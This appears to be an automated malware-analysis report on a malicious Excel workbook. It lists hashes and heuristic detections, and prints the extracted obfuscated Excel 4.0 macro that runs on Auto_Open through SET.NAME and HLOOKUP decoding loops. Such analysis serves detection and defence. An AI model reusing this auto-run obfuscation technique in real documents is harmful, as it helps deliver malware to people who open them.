Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5bc8987a2957c598…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:11 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 35f1597f3d15c46fd5aa671d5ce8d245 SHA-1: ec2dc9ceb3b985f96bed19122033fb497b755eb7 SHA-256: 5bc8987a2957c598498bf779ed65569fc2988cc317b8fec395596cf6ea015b94
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6670 bytes
SHA-256: bfb9abe67ab0a2231f202d3357a89063a618af9459c27c388532b4c03e19c819
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  klRHl
' 0018     27 LABEL : Cell Value, String Constant - AKagFuPejmTn len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G151 
' 0018     27 LABEL : Cell Value, String Constant - BPQUeUEpbFuP len=0 
' 0018     21 LABEL : Cell Value, String Constant - dgZqTa len=0 
' 0018     21 LABEL : Cell Value, String Constant - DTjaAC len=0 
' 0018     26 LABEL : Cell Value, String Constant - DzszuLDzesr len=0 
' 0018     25 LABEL : Cell Value, String Constant - FiwEvZWiBd len=0 
' 0018     20 LABEL : Cell Value, String Constant - fIZuJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - HAsGgnkqQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - ILmleOZUiA len=0 
' 0018     27 LABEL : Cell Value, String Constant - LEJRUyxbywnm len=0 
' 0018     26 LABEL : Cell Value, String Constant - LomOSqUYqwI len=0 
' 0018     27 LABEL : Cell Value, String Constant - oVZcYYYnQmiI len=0 
' 0018     20 LABEL : Cell Value, String Constant - qfApj len=0 
' 0018     23 LABEL : Cell Value, String Constant - seAlvGAv len=0 
' 0018     24 LABEL : Cell Value, String Constant - tlmxJvANi len=0 
' 0018     25 LABEL : Cell Value, String Constant - WnpawWRjEL len=0 
' 0018     26 LABEL : Cell Value, String Constant - WsfwKpphXgd len=0 
' 0018     26 LABEL : Cell Value, String Constant - wwKcJvRbJhc len=0 
' 0018     26 LABEL : Cell Value, String Constant - WZFJFRBhwwi len=0 
' 0018     20 LABEL : Cell Value, String Constant - zDpWN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  klRHl,G52,"SET.NAME("wwKcJvRbJhc",0+VALUE("0"))",""
'  klRHl,G57,"SET.NAME("BPQUeUEpbFuP",wwKcJvRbJhc)",""
'  klRHl,G61,"SET.NAME("WsfwKpphXgd",wwKcJvRbJhc)",""
'  klRHl,G63,"SET.NAME("dgZqTa",COUNTA(qfApj))",""
'  klRHl,G68,"SET.NAME("DTjaAC",COUNTA(tlmxJvANi))",""
'  klRHl,G73,[],""
'  klRHl,G78,"SET.NAME("zDpWN","")",""
'  klRHl,G80,"BPQUeUEpbFuP",""
'  klRHl,Q80,"",434.00000000000000000000
'  klRHl,Q81,"",-915.00000000000000000000
'  klRHl,Q82,"",-333.00000000000000000000
'  klRHl,Q83,"",-771.00000000000000000000
'  klRHl,G84,"SET.NAME("AKagFuPejmTn",HLOOKUP("*",qfApj,BPQUeUEpbFuP,FALSE))",""
'  klRHl,Q84,"",-748.00000000000000000000
'  klRHl,Q85,"",-924.00000000000000000000
'  klRHl,G87,"FiwEvZWiBd",""
'  klRHl,G89,"SET.NAME("DzszuLDzesr",wwKcJvRbJhc)",""
'  klRHl,G91,[],""
'  klRHl,G96,"DzszuLDzesr",""
'  klRHl,G100,"HAsGgnkqQ",""
'  klRHl,G102,"ILmleOZUiA",""
'  klRHl,G107,"LEJRUyxbywnm",""
'  klRHl,G112,"SET.NAME("oVZcYYYnQmiI",VALUE(HLOOKUP("*",tlmxJvANi,LEJRUyxbywnm,FALSE)))",""
'  klRHl,G115,"WZFJFRBhwwi",""
'  klRHl,G117,"zDpWN",""
'  klRHl,G121,"WsfwKpphXgd",""
'  klRHl,G126,NEXT(),""
'  klRHl,G130,"LomOSqUYqwI",""
'  klRHl,G135,[],""
'  klRHl,G139,"seAlvGAv",""
'  klRHl,G143,NEXT(),""
'  klRHl,G147,RETURN(),""
'  klRHl,G172,"SET.NAME("fIZuJ",G52)",""
'  klRHl,G174,"qfApj",""
'  klRHl,G177,"SET.NAME("tlmxJvANi",R77C13)",""
'  klRHl,G182,"SET.NAME("seAlvGAv",189)",""
'  klRHl,G185,"SET.NAME("WnpawWRjEL",7)",""
'  klRHl,G188,fIZuJ(),""
'  klRHl,G189,HALT(),""